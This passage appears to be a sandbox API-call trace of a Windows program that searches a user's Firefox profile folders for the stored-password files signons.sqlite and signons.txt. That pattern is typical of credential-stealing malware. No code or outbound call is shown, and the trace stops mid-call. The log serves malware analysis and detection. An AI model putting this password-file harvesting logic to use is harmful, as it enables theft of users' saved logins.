StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0070.888] lstrlenA (lpString="webapps.json") returned 12 [0070.888] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0070.888] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0070.888] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0070.888] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0070.888] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.889] LocalFree (hMem=0x65b428) returned 0x0 [0070.889] LocalFree (hMem=0x65b348) returned 0x0 [0070.889] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.889] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.889] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0070.889] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0070.889] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.889] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.889] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 0 [0070.889] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0070.889] LocalFree (hMem=0x627320) returned 0x0 [0070.889] LocalFree (hMem=0x627248) returned 0x0 [0070.889] LocalFree (hMem=0x643c28) returned 0x0 [0070.889] LocalFree (hMem=0x6592a0) returned 0x0 [0070.889] LocalFree (hMem=0x626a88) returned 0x0 [0070.889] LocalFree (hMem=0x649428) returned 0x0 [0070.889] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.889] lstrlenA (lpString="*.*") returned 3 [0070.889] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643c28 [0070.889] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.889] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0070.889] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 0x6426a8 [0070.889] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.889] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0070.889] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.889] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.889] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0070.889] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0070.889] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0070.889] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.889] lstrlenA (lpString="") returned 0 [0070.889] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643ce8 [0070.889] lstrcpyA (in: lpString1=0x643ce8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.889] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.889] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.889] lstrlenA (lpString="Crash Reports") returned 13 [0070.889] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65e350 [0070.889] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.889] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.889] LocalFree (hMem=0x643ce8) returned 0x0 [0070.889] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 62 [0070.889] lstrlenA (lpString="\\*.*") returned 4 [0070.889] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x65d330 [0070.889] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.889] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0070.890] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0x6426e8 [0070.890] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.890] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0070.890] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.890] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.890] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0070.890] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0070.890] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0070.890] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0070.890] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0070.890] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0070.890] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0 [0070.890] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.890] LocalFree (hMem=0x65d330) returned 0x0 [0070.890] LocalFree (hMem=0x65e350) returned 0x0 [0070.890] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0070.890] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0070.890] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0070.890] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.890] lstrlenA (lpString="") returned 0 [0070.890] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643ce8 [0070.890] lstrcpyA (in: lpString1=0x643ce8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.890] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.890] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.890] lstrlenA (lpString="Profiles") returned 8 [0070.890] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x65e350 [0070.890] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.890] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.890] LocalFree (hMem=0x643ce8) returned 0x0 [0070.890] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.890] lstrlenA (lpString="\\*.*") returned 4 [0070.890] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0070.890] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.890] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0070.890] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0x6426e8 [0070.891] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.891] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0070.891] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.891] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.891] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0070.891] lstrcmpiA (lpString1=".", lpString2="h231daer.default") returned -1 [0070.891] lstrcmpiA (lpString1="..", lpString2="h231daer.default") returned -1 [0070.891] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.891] lstrlenA (lpString="\\") returned 1 [0070.891] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626a88 [0070.891] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.891] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.891] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 58 [0070.891] lstrlenA (lpString="h231daer.default") returned 16 [0070.891] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0070.891] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.891] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.891] LocalFree (hMem=0x626a88) returned 0x0 [0070.891] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.891] lstrlenA (lpString="\\*.*") returned 4 [0070.891] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0070.891] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.891] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0070.891] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 0x642728 [0070.891] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.891] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.891] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.891] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.891] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.891] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0070.891] lstrlenA (lpString="addons.json") returned 11 [0070.891] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0070.891] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0070.891] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0070.891] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.891] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0070.891] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0070.891] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.891] lstrlenA (lpString="\\") returned 1 [0070.891] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.891] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.891] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.891] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.891] lstrlenA (lpString="bookmarkbackups") returned 15 [0070.892] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0070.892] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.892] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.892] LocalFree (hMem=0x6275a8) returned 0x0 [0070.892] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0070.892] lstrlenA (lpString="\\*.*") returned 4 [0070.892] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x626b70 [0070.892] lstrcpyA (in: lpString1=0x626b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.892] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0070.892] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0070.892] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.892] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.893] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.893] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.893] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.893] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.893] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0070.893] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0070.893] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0070.893] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0070.893] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.893] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.893] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0070.893] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0070.893] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0070.893] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0070.893] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0070.893] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.894] LocalFree (hMem=0x626b70) returned 0x0 [0070.894] LocalFree (hMem=0x626a88) returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="cert8.db") returned 8 [0070.894] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="compatibility.ini") returned 17 [0070.894] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0070.894] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="cookies.sqlite") returned 14 [0070.894] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="downloads.sqlite") returned 16 [0070.894] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="extensions.ini") returned 14 [0070.894] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0070.894] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0070.894] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.894] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.894] lstrlenA (lpString="extensions.sqlite") returned 17 [0070.894] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.895] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.895] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.895] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.895] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0070.895] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0070.895] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.895] lstrlenA (lpString="\\") returned 1 [0070.895] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.895] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.895] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.895] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.895] lstrlenA (lpString="healthreport") returned 12 [0070.895] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0070.895] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.895] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.895] LocalFree (hMem=0x6275a8) returned 0x0 [0070.895] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0070.895] lstrlenA (lpString="\\*.*") returned 4 [0070.895] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x626a88 [0070.895] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: 